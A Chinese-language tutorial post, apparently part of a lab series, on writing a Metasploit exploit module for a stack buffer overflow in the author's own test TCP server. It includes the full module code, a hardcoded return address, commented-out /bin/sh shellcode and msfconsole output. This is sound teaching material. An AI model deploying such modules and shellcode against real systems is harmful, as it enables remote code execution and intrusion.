使用metasploit进行栈溢出攻击-4

有了漏洞我们就可以进行攻击了。首先我们需要了解metasploit的exploit模块，具体可以看

http://www.offensive-security.com/metasploit-unleashed/Exploit_Development

metasploit本身功能非常强大，这里不多做介绍。

首先我们需要添加一个针对这个漏洞的exploit模块，

我们直接在样例上进行修改：

root@bt:~/.msf4/modules# mkdir exploits
root@bt:~/.msf4/modules# cd exploits
root@bt:~/.msf4/modules/exploits# mkdir linux
root@bt:~/.msf4/modules/exploits/linux# cp /pentest/exploits/framework/documentation/samples/modules/exploits/sample.rb  myvictim.rb
root@bt:~/.msf4/modules/exploits/linux# ls
myvictim.rb  myvictimserver.rb  proftp_sreplace.rb

然后查看myvictim.rb

##
# $Id: sample.rb 9212 2010-05-03 17:13:09Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

module Msf

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Exploits::Sample < Msf::Exploit::Remote

        #
        # This exploit affects TCP servers, so we use the TCP client mixin.
        #
        include Exploit::Remote::Tcp

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Sample exploit',
                        'Description'    => %q{
                                        This exploit module illustrates how a vu
lnerability could be exploited
                                in an TCP server that has a parsing bug.
                        },
                        'Author'         => 'skape',
                        'Version'        => '$Revision: 9212 $',
                        'References'     =>
                                [
                                ],
                        'Payload'        =>
                                {
                                        'Space'    => 1000,
                                        'BadChars' => "\x00",
                                },
                        'Targets'        =>
                                [
                                        # Target 0: Windows All
                                        [
                                                'Windows Universal',
                                                {
                                                        'Platform' => 'win',
                                                        'Ret'      => 0x41424344
                                                }
                                        ],
                                ],
                        'DefaultTarget' => 0))
        end

        #
        # The sample exploit just indicates that the remote host is always
        # vulnerable.
        #
        def check
                return Exploit::CheckCode::Vulnerable
        end

        #
        # The exploit method connects to the remote service and sends 1024 A's
        # followed by the fake return address and then the payload.
        #
        def exploit
                connect

                print_status("Sending #{payload.encoded.length} byte payload..."
)

                # Build the buffer for transmission
                buf  = "A" * 1024
                buf += [ target.ret ].pack('V')
                buf += payload.encoded

                # Send it off
                sock.put(buf)
                sock.get

                handler
        end

end

end

然后我们需要把他添加进metasploit，运行reload_all

=[ metasploit v4.0.0-release [core:4.0 api:1.0]
+ -- --=[ 719 exploits - 361 auxiliary - 68 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13462 updated 1208 days ago (2011.08.01)

Warning: This copy of the Metasploit Framework was last updated 1208 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

msf > reload_all

msf > use exploit/linux/my
use exploit/linux/mysql/mysql_yassl_getname use exploit/linux/myvictimserver
use exploit/linux/mysql/mysql_yassl_hello
msf > use exploit/linux/my

这里并没有列出来我们刚刚添加的模块，说明模块有问题，必须修改，修改如下：

##
# $Id: myvictimserver.rb 9212 2014-11-03 17:13:09Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'



###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    #
    # This exploit affects TCP servers, so we use the TCP client mixin.
    #
    include Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'MyVictimSever',
            'Description'    => %q{
                    This exploit module illustrates how a vulnerability could be exploited
                in an TCP server that has a stackoverflow bug.
            },
            'Author'         => 'bai',
            'Version'        => '$Revision: 9212 $',
            'References'     =>
                [
                ],
            'Payload'        =>
                {
                    'Space'    => 116, #
                    'BadChars' => "\x00",
                },
            'Targets'        =>
                [
                    # Target 0: Windows All
                    [
                        'MyVictimSever run on linux',
                        {
                            'Platform' => 'Linux',
                            'Ret'      =>  0xbffff4a4
                        }
                    ],
                ],
            'DefaultTarget' => 0))
    end

    #
    # The sample exploit just indicates that the remote host is always
    # vulnerable.
    #
    def check
        return Exploit::CheckCode::Vulnerable
    end

    #
    # The exploit method connects to the remote service and sends 1024 A's
    # followed by the fake return address and then the payload.
    #
    def exploit
        connect

        print_status("Sending #{payload.encoded.length} byte payload...")

        # Build the buffer for transmission
        buf="";
        #buf  = "\x90" * 15
        #buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
        #buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
        #buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh";
        buf+="\xa4\xf4\xff\xbf"
        buf += payload.encoded
        buf += [].fill( target.ret,0,100).pack('V*')

        # Send it off
        sock.put(buf)
        sock.get

        handler
    end

end

这时候，我们就可以找到这个模块了。

msf > use exploit/linux/my
use exploit/linux/mysql/mysql_yassl_getname  use exploit/linux/myvictim
use exploit/linux/mysql/mysql_yassl_hello    use exploit/linux/myvictimserver
msf > use exploit/linux/my